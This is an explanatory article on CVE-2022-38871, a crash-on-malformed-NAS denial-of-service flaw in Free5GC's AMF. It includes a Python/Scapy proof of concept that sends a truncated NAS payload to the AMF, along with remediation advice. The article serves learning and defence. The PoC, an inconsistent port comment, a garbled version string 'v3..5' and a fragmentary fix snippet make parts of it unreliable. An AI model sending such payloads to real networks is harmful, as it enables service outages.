Free5GC is an open-source implementation of the 5G core network, widely used for research and prototyping. While this has enabled many developers and institutions to test 5G on real hardware, it has also introduced several security vulnerabilities. One such flaw, CVE-2022-38871, was discovered in Free5GC v3..5, where the AMF (Access and Mobility Management Function) process crashes if it receives a malformed NAS (Non-Access Stratum) message.

In this article, we break down the problem, how attackers may exploit it, provide code snippets demonstrating the exploit, and suggest remediation steps. This read is exclusive, clear, and crafted for easy understanding.

What is CVE-2022-38871?

CVE-2022-38871 is a vulnerability in Free5GC v3..5, specifically in the AMF component. When the AMF receives a malformed NAS message (from a UE or an attacker spoofing a UE), it encounters an unhandled error and terminates unexpectedly. This triggers a Denial of Service (DoS), making the core network unstable or unavailable.

References

- NVD - CVE-2022-38871
- Free5GC GitHub
- Original Issue/Commit Fix

Understanding the Core Problem

The AMF is responsible for handling all NAS messages between the UE and core network. However, in version 3..5, the NAS message parser does not validate input data robustly. Malformed or incomplete messages are not handled gracefully — if, for example, a critical field is missing or the message is truncated, the AMF panics and crashes.

In simple terms: The AMF expects messages to be always well-formed. If it gets garbage, it throws up its hands and quits.

Threat Scenario

An attacker, or even a misbehaving device, sends a crafted NAS message lacking important fields or using invalid data. The AMF tries to process the message, hits an unexpected nil or illegal operation, and the Go runtime terminates the process.

Proof-of-Concept (PoC) — Sending Malformed NAS

Below is a code snippet (using Python and Scapy) that crafts and sends a malformed NAS message to Free5GC AMF.

from scapy.all import *
from scapy.layers.inet import UDP, IP

# Define AMF IP and Port (8844 is default SCTP port for NGAP)
AMF_IP = "192.168.1.10"
AMF_PORT = 38412  # NGAP SCTP port - might need SCTP support

# Malformed NAS payload (truncated, invalid fields)
malformed_nas = bytes.fromhex(
    "7e00"  # NAS header, missing rest of required fields
)

# Some NGAP wrapper necessary for real attack (pseudo NGAP, simplified)
packet = IP(dst=AMF_IP)/UDP(dport=AMF_PORT, sport=50000)/Raw(load=malformed_nas)

send(packet)
print("Sent malformed NAS message to AMF")

Notes:
- *Real environments use SCTP for NGAP messaging, but this PoC demonstrates the payload. For a complete exploit, you'd need to generate a proper NGAP wrapper and send via SCTP.*
- Even fuzzers like Peach or Boofuzz can generate thousands of malformed NAS messages, automating the attack.

What Happens?

The AMF, on receiving this malformed input, will panic. In Docker, the AMF container restarts repeatedly, leading to network downtime (DoS). On bare-metal installs, the process simply exits.

Technical Details – What’s Actually Broken?

Looking at the Free5GC source code for AMF, you see code like this:

if nasMessage == nil {
    amfSelf.Logger.NasLog.Error("Received NAS message is nil")
    // <== Should return or handle, but may keep processing leading to panic
}
// ...
switch nasMessage.GmmMessageType {
    case nasMessageTypeRegistrationRequest: 
        // ...
}

If the parsing function (nas.Parse) fails, it sometimes returns nil without an error. Down the line, using members of this nil message causes a panic.

Upgrade:

Free5GC maintainers fixed this in versions after v3..5. Upgrade to the latest free5gc release.

Sanitize Input:

If you must run an older version, edit source to validate NAS messages before accessing their properties, e.g.:

return fmt.Errorf("NAS message is nil")

}

Limit Network Exposure:

Restrict which devices can talk to your Free5GC core — use firewalls, VPNs, and other hardening steps.

Conclusion

CVE-2022-38871 is a good example of what happens when user input isn’t validated in core network code: a simple malformed message can take down your whole 5G testbed. The best solution is always to keep your software updated, but understanding the underlying issue makes it clear how serious these “simple” bugs can be.

Stay vigilant, fuzz your network code, and ensure your AMF stays up and healthy!


> References:
> - NVD Entry CVE-2022-38871
> - Free5GC Issue #308
> - Free5GC Documentation
> - Scapy Network Scripting
> - Boofuzz Fuzzer


*Exclusive content for researchers, developers, and security engineers. Safe hacking!*

Timeline

Published on: 11/18/2022 23:15:00 UTC
Last modified on: 11/24/2022 04:01:00 UTC